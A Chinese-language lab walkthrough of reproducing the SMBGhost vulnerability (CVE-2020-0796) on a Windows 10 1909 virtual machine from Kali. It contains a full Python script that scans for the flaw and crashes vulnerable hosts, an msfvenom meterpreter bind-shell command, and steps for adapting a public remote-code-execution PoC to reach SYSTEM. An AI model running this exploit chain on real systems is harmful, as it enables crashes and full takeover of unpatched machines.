# 渗透攻击 win10(永恒之黑漏洞 CVE-2020-0796)

# 前言

永恒之黑漏洞是源于 SMB 3.1.1 协议中压缩数据时没有对数据进行安全检查,引起了内存破坏漏洞,导致可以被攻击者利用从而远程执行任意代码。

这次利用的是 window10,它的漏洞源于 SMBv3 没有准确处理压缩包,在解压时没有检查客户端传过来的长度是否合法,导致 整数溢出 ,利用该漏洞,黑客可直接远程攻击 SMB 服务端远程执行任意恶意代码

# 环境

kali ip:192.168.232.129

Distributor ID: Kali
Description:    Kali GNU/Linux Rolling
Release:        2023.3
Codename:       kali-rolling

Windows 10 (consumer editions), version 1909 (x64) ip:192.168.232.132

# 工具

  1. msfvenom 来生成 shellcode
  2. 利用别人已有的 poc:https://github.com/chompie1337/SMBGhost_RCE_PoC.git

# 检测是否打了补丁

该漏洞于 KB4551762补丁 修复

利用命令 systeminfo 查看情况

并没有补丁进行修复,可以利用漏洞

# 永恒之黑漏洞复现(CEV-2020-0796)

1. 安装 win10 关闭防火墙并查看 ip

2. 检测是否能够 ping

# 3. 在 kali 中利用 python 脚本测试漏洞,成功时 win10 主机会蓝屏

n
import socket, struct, sys
from netaddr import IPNetwork
class Smb2Header:
    def __init__(self, command, message_id):
        self.protocol_id = "\xfeSMB"
        self.structure_size = "\x40\x00"  # Must be set to 0x40
        self.credit_charge = "\x00" * 2
        self.channel_sequence = "\x00" * 2
        self.channel_reserved = "\x00" * 2
        self.command = command
        self.credits_requested = "\x00" * 2  # Number of credits requested / granted
        self.flags = "\x00" * 4
        self.chain_offset = "\x00" * 4  # Points to next message
        self.message_id = message_id
        self.reserved = "\x00" * 4
        self.tree_id = "\x00" * 4  # Changes for some commands
        self.session_id = "\x00" * 8
        self.signature = "\x00" * 16
    def get_packet(self):
        return self.protocol_id + self.structure_size + self.credit_charge + self.channel_sequence + self.channel_reserved + self.command + self.credits_requested + self.flags + self.chain_offset + self.message_id + self.reserved + self.tree_id + self.session_id + self.signature
class Smb2NegotiateRequest:
    def __init__(self):
        self.header = Smb2Header("\x00" * 2, "\x00" * 8)
        self.structure_size = "\x24\x00"
        self.dialect_count = "\x08\x00"  # 8 dialects
        self.security_mode = "\x00" * 2
        self.reserved = "\x00" * 2
        self.capabilities = "\x7f\x00\x00\x00"
        self.guid = "\x01\x02\xab\xcd" * 4
        self.negotiate_context = "\x78\x00"
        self.additional_padding = "\x00" * 2
        self.negotiate_context_count = "\x02\x00"  # 2 Contexts
        self.reserved_2 = "\x00" * 2
        self.dialects = "\x02\x02" + "\x10\x02" + "\x22\x02" + "\x24\x02" + "\x00\x03" + "\x02\x03" + "\x10\x03" + "\x11\x03"  # SMB 2.0.2, 2.1, 2.2.2, 2.2.3, 3.0, 3.0.2, 3.1.0, 3.1.1
        self.padding = "\x00" * 4
    def context(self, type, length):
        data_length = length
        reserved = "\x00" * 4
        return type + data_length + reserved
    def preauth_context(self):
        hash_algorithm_count = "\x01\x00"  # 1 hash algorithm
        salt_length = "\x20\x00"
        hash_algorithm = "\x01\x00"  # SHA512
        salt = "\x00" * 32
        pad = "\x00" * 2
        length = "\x26\x00"
        context_header = self.context("\x01\x00", length)
        return context_header + hash_algorithm_count + salt_length + hash_algorithm + salt + pad
    def compression_context(self):
        compression_algorithm_count = "\x03\x00"  # 3 Compression algorithms
        padding = "\x00" * 2
        flags = "\x01\x00\x00\x00"
        algorithms = "\x01\x00" + "\x02\x00" + "\x03\x00"  # LZNT1 + LZ77 + LZ77+Huffman
        length = "\x0e\x00"
        context_header = self.context("\x03\x00", length)
        return context_header + compression_algorithm_count + padding + flags + algorithms
    def get_packet(self):
        padding = "\x00" * 8
        return self.header.get_packet() + self.structure_size + self.dialect_count + self.security_mode + self.reserved + self.capabilities + self.guid + self.negotiate_context + self.additional_padding + self.negotiate_context_count + self.reserved_2 + self.dialects + self.padding + self.preauth_context() + self.compression_context() + padding
class NetBIOSWrapper:
    def __init__(self, data):
        self.session = "\x00"
        self.length = struct.pack('>i', len(data)).decode('latin1')[1:]
        self.data = data
    def get_packet(self):
        return self.session + self.length + self.data
class Smb2CompressedTransformHeader:
    def __init__(self, data):
        self.data = data
        self.protocol_id = "\xfcSMB"
        self.original_decompressed_size = struct.pack('<i', len(self.data)).decode('latin1')
        self.compression_algorithm = "\x01\x00"
        self.flags = "\x00" * 2
        self.offset = "\xff\xff\xff\xff"  # Exploit the vulnerability
    def get_packet(self):
        return self.protocol_id + self.original_decompressed_size + self.compression_algorithm + self.flags + self.offset + self.data
def send_negotiation(sock):
    negotiate = Smb2NegotiateRequest()
    packet = NetBIOSWrapper(negotiate.get_packet()).get_packet()
    sock.send(packet.encode('latin1'))
    sock.recv(3000)
def send_compressed(sock, data):
    compressed = Smb2CompressedTransformHeader(data)
    packet = NetBIOSWrapper(compressed.get_packet()).get_packet()
    sock.send(packet.encode('latin1'))
    sock.recv(1000)
def darkness_attack(ip: str):
    sock = socket.socket(socket.AF_INET)
    sock.settimeout(3)
    sock.connect((ip, 445))
    send_negotiation(sock)
    try:
        send_compressed(sock, "JST" * 100)
    except Exception:
        return True
    return False
def scanner(ip):
    pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
    for ip in IPNetwork(ip):
        sock = socket.socket(socket.AF_INET)
        sock.settimeout(3)
        try:
            sock.connect((str(ip), 445))
        except:
            sock.close()
            continue
        sock.send(pkt)
        nb, = struct.unpack(">I", sock.recv(4))
        res = sock.recv(nb)
        if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00":
            print(f"{ip} Not vulnerable.")
        else:
            darkness_attack(str(ip))
            print(f"{ip} Vulnerable")
if __name__ == "__main__":
    print(scanner('192.168.232.132'))
    # if len(sys.argv) != 2:
    #     exit("[-] Usage: {} target_ip".format(sys.argv[0]))

测试成功

# 4. 开始利用 RCE

利用前面准备好的 SMBGhost_RCE_PoC
这里我们需要利用 msf 中的 msfvenom 生成 shellcode 对上面的 poc 进行修改

1. 生成 shellcode(这里设置开启 5555 端口):
命令:
msfvenom -p windows/x64/meterpreter/bind_tcp lport=5555 -f py -o shellcode.txt

shellcode 文件:

这里需要将 buf 修改位 USER_PAYLOAD 为了使在 poc 中替换的 shellcode关键字相同 ,可以利用脚本来一键替换

替换成功:

2. 修改 SMBGhost_RCE_PoCexploit 的 shellcode

这里修改完成

3. 使用 msf 开启监听
(前面在永恒之蓝漏洞已经用过这些命令,了解了对应功能)

4. 执行 exp

python3 exploit.py -ip 192.168.232.132

运行成功(此次尝试了多次,有时 win10 会直接蓝屏以及 msf 监听没有回显):

查看权限,看见已经是 system 用户

创建一个 cumt 文件并上传到 c 盘:

进入 win10 主机查看一下

到此永恒之黑漏洞就复现完毕

参考:

https://developer.aliyun.com/article/1221161

https://zhuanlan.zhihu.com/p/414990037

https://blog.51cto.com/u_15324581/4861255